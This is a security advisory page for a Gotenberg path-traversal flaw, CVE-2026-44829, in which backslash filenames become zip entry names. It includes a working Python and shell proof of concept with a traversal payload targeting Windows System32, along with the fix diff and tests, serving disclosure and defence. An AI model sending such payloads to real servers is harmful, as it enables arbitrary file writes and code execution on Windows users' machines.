VYPR
High severity8.8GHSA Advisory· Published May 29, 2026· Updated May 29, 2026

Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename

CVE-2026-44829

Description

Summary

filepath.Base on the Linux container does not strip backslashes (\), because \ is only a path separator on Windows. A multipart filename like ..\..\..\..\Windows\System32\evil.pdf survives Gotenberg's input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. /forms/pdfengines/split). Windows zip extractors interpret \ as a path separator and write the file outside the extraction directory.

Details

pkg/modules/api/context.go:434, 472: ``go filename := norm.NFC.String(filepath.Base(fh.Filename)) ``

On Linux, filepath.Base("..\\..\\..\\..\\Windows\\System32\\evil.pdf") returns the same string verbatim — there are no / separators to find. The original filename then flows to ctx.diskToOriginal (pkg/modules/api/context.go:459, 393) and through pkg/modules/pdfengines/routes.go:287-322 (SplitPdfStub), which builds: ``go originalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName)) newOriginal := fmt.Sprintf("%s_%d.pdf", originalNameNoExt, i) ctx.RegisterDiskPath(newPath, newOriginal) ``

Finally pkg/modules/api/context.go:617-642 constructs the zip via archives.FilesFromDisk + archives.Zip{}.Archive. mholt/archives@v0.1.5/archives.go:155-184 (nameOnDiskToNameInArchive) returns path.Join(rootInArchive, "") — the map value verbatim.

Suggested fix

- filename := norm.NFC.String(filepath.Base(fh.Filename))
+ filename := sanitizeFilename(fh.Filename)
+
+ func sanitizeFilename(name string) string {
+     if i := strings.LastIndexAny(name, "/\\"); i >= 0 {
+         name = name[i+1:]
+     }
+     name = norm.NFC.String(name)
+     // Optional belt-and-braces:
+     name = strings.ReplaceAll(name, "..", "_")
+     name = strings.Map(func(r rune) rune {
+         if r < 0x20 || r == 0x7f { return -1 }
+         return r
+     }, name)
+     return name
+ }

The same sanitiser closes Advisory 8.

PoC

Prerequisite: pip install requests. curl -F filename= mangles backslashes on some shells, so we use Python's requests to deliver the malicious filename byte-perfect.

mkdir -p /tmp/gotenberg-poc && cd /tmp/gotenberg-poc

docker rm -f gotenberg-audit 2>/dev/null
docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0
i=0; until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)" = "200" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done

# Stub PDF.
printf '%%PDF-1.4\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000053 00000 n\n0000000100 00000 n\ntrailer<>\nstartxref\n158\n%%%%EOF\n' > stub.pdf

# Step 1: produce a 2-page PDF so /split returns multiple entries.
curl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \
    -F 'files=@stub.pdf;filename=a.pdf' \
    -F 'files=@stub.pdf;filename=b.pdf'

# Step 2: split, declaring the multipart filename as a Windows path-traversal payload.
python3 - <<'PY'
import requests, zipfile, binascii
fname = '..\\..\\..\\..\\Windows\\System32\\evil.pdf'
files = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')}
data  = {'splitMode': 'intervals', 'splitSpan': '1'}
r = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data)
print(f'HTTP={r.status_code}  ctype={r.headers.get("content-type")}  bytes={len(r.content)}')
open('split.zip', 'wb').write(r.content)

z = zipfile.ZipFile('split.zip')
print('--- zip entries (orig_filename) ---')
for info in z.infolist():
    print(f'   {info.orig_filename!r}')

# Show raw central-directory bytes to prove backslashes are on the wire:
data = open('split.zip', 'rb').read()
idx = data.find(b'PK\x01\x02')
print('--- raw central-dir hex around filename ---')
print(f'   {binascii.hexlify(data[idx:idx+80]).decode()}')
PY

docker stop gotenberg-audit

Observed output: `` HTTP=200 ctype=application/zip bytes=24750 --- zip entries (orig_filename) --- '..\\..\\..\\..\\Windows\\System32\\evil_0.pdf' '..\\..\\..\\..\\Windows\\System32\\evil_1.pdf' --- raw central-dir hex around filename --- 504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f ``

The trailing hex 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f decodes to ..\..\..\..\Windows\System32\evil_. (Python's ZipFile.namelist() would normally hide this by displaying /, but info.orig_filename returns the literal backslash form.)

To see the Windows-side traversal effect on a Windows host, run: ``powershell Expand-Archive -Path .\split.zip -DestinationPath .\out -Force Get-ChildItem .\out -Recurse # → out\Windows\System32\evil_0.pdf # → out\Windows\System32\evil_1.pdf ``

PowerShell collapses the .. parents but creates the Windows\System32\ subdirectory tree. 7-Zip and WinRAR with default settings honor the .. parents and traverse out of the extraction directory entirely.

### Impact - Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory). - Reachable via every multi-output Gotenberg route — /forms/pdfengines/split, /forms/pdfengines/flatten//encrypt//embed//watermark//stamp//rotate (when called with multiple input PDFs), /forms/libreoffice/convert with multiple inputs, /forms/pdfengines/convert. - Also reachable via downloadFrom upstream Content-Disposition: filename="..\\..\\evil.exe" — the filename flows through the same ctx.diskToOriginal map at pkg/modules/api/context.go:354, 393.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Gotenberg 8.32.x on Linux fails to sanitize backslashes in uploaded filenames, allowing path traversal in generated zip files when extracted on Windows.

Vulnerability

Gotenberg versions prior to 8.33.0 (fixed in that release) rely on filepath.Base from the Go standard library within pkg/modules/api/context.go:434, 472 to sanitize multipart filenames. On Linux, filepath.Base only treats / as a path separator, so backslashes (\) are left unchanged. A filename such as ..\..\..\..\Windows\System32\evil.pdf passes through the sanitization verbatim. This filename is then used as the zip entry name when multi-output routes (e.g., /forms/pdfengines/split) bundle results into a zip archive via archives.FilesFromDisk and archives.Zip{}.Archive in mholt/archives@v0.1.5 [1][2]. The vulnerable code path is reachable whenever a user uploads a file through a multi-output endpoint.

Exploitation

An attacker needs only the ability to upload a file to a Gotenberg multi-output route (such as /forms/pdfengines/split). No authentication is required if the service is exposed. The attacker crafts a multipart filename containing backslash-based path traversal (e.g., ..\..\..\..\Windows\System32\evil.pdf) and sends it via a tool that preserves backslashes, such as Python's requests library. The payload is stored verbatim in the zip archive entry name. When a Windows user extracts the resulting zip with any common archive utility (which interprets \ as a path separator), the extracted file is written outside the intended extraction directory to an arbitrary location [1][2].

Impact

Successful exploitation results in arbitrary file write outside the extraction directory when the zip is extracted on a Windows system. The attacker can place a malicious file (e.g., an executable or DLL) in a location such as C:\Windows\System32\ or the Startup folder, enabling arbitrary code execution or persistence on the victim's Windows machine. The compromise is limited to Windows-based extraction clients; Linux users are not directly affected by this path traversal [1][2].

Mitigation

The vulnerability is fixed in Gotenberg version 8.33.0, released 2026-05-29. Users should upgrade to v8.33.0 or later. The fix adds a sanitizeFilename function that strips both / and \ separators and removes .. sequences and low-control characters from filenames [3]. No workarounds are available for earlier versions; the service should not be exposed to untrusted uploaders unless upgraded. The issue is not listed on CISA's Known Exploited Vulnerabilities (KEV) catalogue at the time of publication.

AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2

Patches

1
93d010358537

fix(api): strip backslash separators from supplied filenames

https://github.com/gotenberg/gotenbergJulien NeuhartMay 5, 2026Fixed in 8.33.0via ghsa-release-walk
2 files changed · +87 7
  • pkg/modules/api/context.go+30 7 modified
    @@ -348,10 +348,13 @@ func newContext(echoCtx echo.Context, logger *slog.Logger, fs *gotenberg.FileSys
     					)
     				}
     
    -				// Avoid directory traversal and make sure filename characters are
    -				// normalized.
    +				// Strip path separators (including backslashes) and control
    +				// characters, then NFC-normalize. Defends against directory
    +				// traversal in the on-disk name and Windows-side Zip Slip
    +				// when the original filename is later embedded in an output
    +				// zip entry.
     				// See: https://github.com/gotenberg/gotenberg/issues/662.
    -				filename = norm.NFC.String(filepath.Base(filename))
    +				filename = sanitizeFilename(filename)
     
     				// Use a UUID-based name on disk to avoid filesystem
     				// NAME_MAX limits with long filenames.
    @@ -428,10 +431,12 @@ func newContext(echoCtx echo.Context, logger *slog.Logger, fs *gotenberg.FileSys
     		// This will ensure we do not exceed the body limit.
     		reader := &trackingReader{R: in, AddReadBytes: addReadBytes}
     
    -		// Avoid directory traversal and make sure filename characters are
    -		// normalized.
    +		// Strip path separators (including backslashes) and control
    +		// characters, then NFC-normalize. Defends against directory
    +		// traversal in the on-disk name and Windows-side Zip Slip when the
    +		// original filename is later embedded in an output zip entry.
     		// See: https://github.com/gotenberg/gotenberg/issues/662.
    -		filename := norm.NFC.String(filepath.Base(fh.Filename))
    +		filename := sanitizeFilename(fh.Filename)
     
     		// Use a UUID-based name on disk to avoid filesystem
     		// NAME_MAX limits with long filenames.
    @@ -469,7 +474,7 @@ func newContext(echoCtx echo.Context, logger *slog.Logger, fs *gotenberg.FileSys
     				return ctx, cancel, fmt.Errorf("copy to disk: %w", err)
     			}
     			// Track files by field name
    -			filename := norm.NFC.String(filepath.Base(fh.Filename))
    +			filename := sanitizeFilename(fh.Filename)
     			filePath := ctx.files[filename]
     			ctx.filesByField[fieldName] = append(ctx.filesByField[fieldName], filePath)
     		}
    @@ -658,3 +663,21 @@ func (ctx *Context) OutputFilename(outputPath string) string {
     
     	return fmt.Sprintf("%s%s", filename, filepath.Ext(outputPath))
     }
    +
    +// sanitizeFilename strips path separators (including backslashes, which
    +// [filepath.Base] ignores on Linux) and control characters from a
    +// caller-supplied filename, then NFC-normalizes the result. This prevents a
    +// Windows-side Zip Slip when an output zip is extracted by a permissive
    +// extractor that interprets '\' as a path separator.
    +func sanitizeFilename(name string) string {
    +	if i := strings.LastIndexAny(name, `/\`); i >= 0 {
    +		name = name[i+1:]
    +	}
    +	name = strings.Map(func(r rune) rune {
    +		if r < 0x20 || r == 0x7f {
    +			return -1
    +		}
    +		return r
    +	}, name)
    +	return norm.NFC.String(name)
    +}
    
  • pkg/modules/api/context_test.go+57 0 modified
    @@ -69,3 +69,60 @@ func TestNewContext_Cancellation(t *testing.T) {
     		t.Fatal("expected context to be cancelled after request context cancellation, but it timed out")
     	}
     }
    +
    +func TestSanitizeFilename(t *testing.T) {
    +	for _, tc := range []struct {
    +		scenario string
    +		input    string
    +		expect   string
    +	}{
    +		{
    +			scenario: "plain filename is unchanged",
    +			input:    "report.pdf",
    +			expect:   "report.pdf",
    +		},
    +		{
    +			scenario: "POSIX traversal is stripped",
    +			input:    "../../etc/passwd",
    +			expect:   "passwd",
    +		},
    +		{
    +			scenario: "Windows traversal with backslashes is stripped",
    +			input:    `..\..\..\..\Windows\System32\evil.pdf`,
    +			expect:   "evil.pdf",
    +		},
    +		{
    +			scenario: "mixed separators take the last segment",
    +			input:    `foo/bar\baz.pdf`,
    +			expect:   "baz.pdf",
    +		},
    +		{
    +			scenario: "control characters are dropped",
    +			input:    "evil\x00\x07\x1f\x7f.pdf",
    +			expect:   "evil.pdf",
    +		},
    +		{
    +			scenario: "NFC normalization collapses decomposed sequences",
    +			// "e" + combining acute accent -> precomposed "é".
    +			input:  "café.pdf",
    +			expect: "café.pdf",
    +		},
    +		{
    +			scenario: "trailing backslash yields empty name",
    +			input:    `foo\`,
    +			expect:   "",
    +		},
    +		{
    +			scenario: "empty input yields empty name",
    +			input:    "",
    +			expect:   "",
    +		},
    +	} {
    +		t.Run(tc.scenario, func(t *testing.T) {
    +			got := sanitizeFilename(tc.input)
    +			if got != tc.expect {
    +				t.Errorf("sanitizeFilename(%q) = %q, want %q", tc.input, got, tc.expect)
    +			}
    +		})
    +	}
    +}
    

Vulnerability mechanics

Root cause

"`filepath.Base` on Linux does not treat backslash as a path separator, so a multipart filename containing Windows-style backslash traversal (`..\..\..\..\Windows\System32\evil.pdf`) passes through sanitization unchanged and is later embedded verbatim as a zip entry name."

Attack vector

An attacker sends a multipart POST request to a Gotenberg multi-output route (e.g., `/forms/pdfengines/split`) with a filename parameter containing Windows-style backslash path separators, such as `..\..\..\..\Windows\System32\evil.pdf`. Because Gotenberg runs on Linux, `filepath.Base` does not strip backslashes, so the malicious filename is stored verbatim in the server's `diskToOriginal` map. When the route returns a zip archive, the filename is embedded as the zip entry name. A Windows user who extracts the zip with a permissive extractor (Windows Explorer, 7-Zip, WinRAR) will have the file written outside the intended extraction directory, achieving arbitrary file write.

Affected code

The vulnerability resides in `pkg/modules/api/context.go` at lines 434 and 472, where `filepath.Base(fh.Filename)` is called. On Linux, `filepath.Base` does not treat backslash (`\`) as a path separator, so a filename like `..\..\..\..\Windows\System32\evil.pdf` passes through unchanged. This unsanitized filename is later used as the zip entry name in multi-output routes such as `/forms/pdfengines/split` (see `pkg/modules/pdfengines/routes.go:287-322`).

What the fix does

The patch introduces a new `sanitizeFilename()` function in `pkg/modules/api/context.go` that replaces the three existing `norm.NFC.String(filepath.Base(...))` calls. The function first uses `strings.LastIndexAny(name, "/\\")` to find the last occurrence of either a forward slash or backslash and strips everything before it, ensuring only the final filename component remains. It then removes control characters (ASCII < 0x20 or 0x7f) via `strings.Map`, and finally applies NFC normalization. This prevents both POSIX-style `../` traversal and Windows-style `..\` traversal from surviving into zip entry names.

Preconditions

  • networkThe attacker must be able to send HTTP requests to a Gotenberg instance (e.g., exposed on port 3000).
  • inputThe attacker must use a multi-output route that returns a zip archive (e.g., /forms/pdfengines/split).
  • inputThe attacker must supply a multipart filename containing backslash path separators (e.g., `..\..\..\..\Windows\System32\evil.pdf`).
  • configA Windows user must extract the resulting zip with a permissive archive tool (Windows Explorer, 7-Zip, WinRAR).

Reproduction

The bundle includes a full PoC script. Prerequisites: `pip install requests` and Docker. Steps: (1) Start Gotenberg 8.32.0: `docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0`. (2) Create a stub PDF and merge two copies to produce a 2-page PDF. (3) Send a POST to `/forms/pdfengines/split` with the multipart filename set to `..\..\..\..\Windows\System32\evil.pdf`. (4) Inspect the returned zip — the raw central-directory hex shows `2e2e5c2e2e5c...` (i.e., `..\..\..\..\Windows\System32\evil_`). On a Windows host, `Expand-Archive` creates `out\Windows\System32\evil_0.pdf`.

Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

3

News mentions

0

No linked articles in our index yet.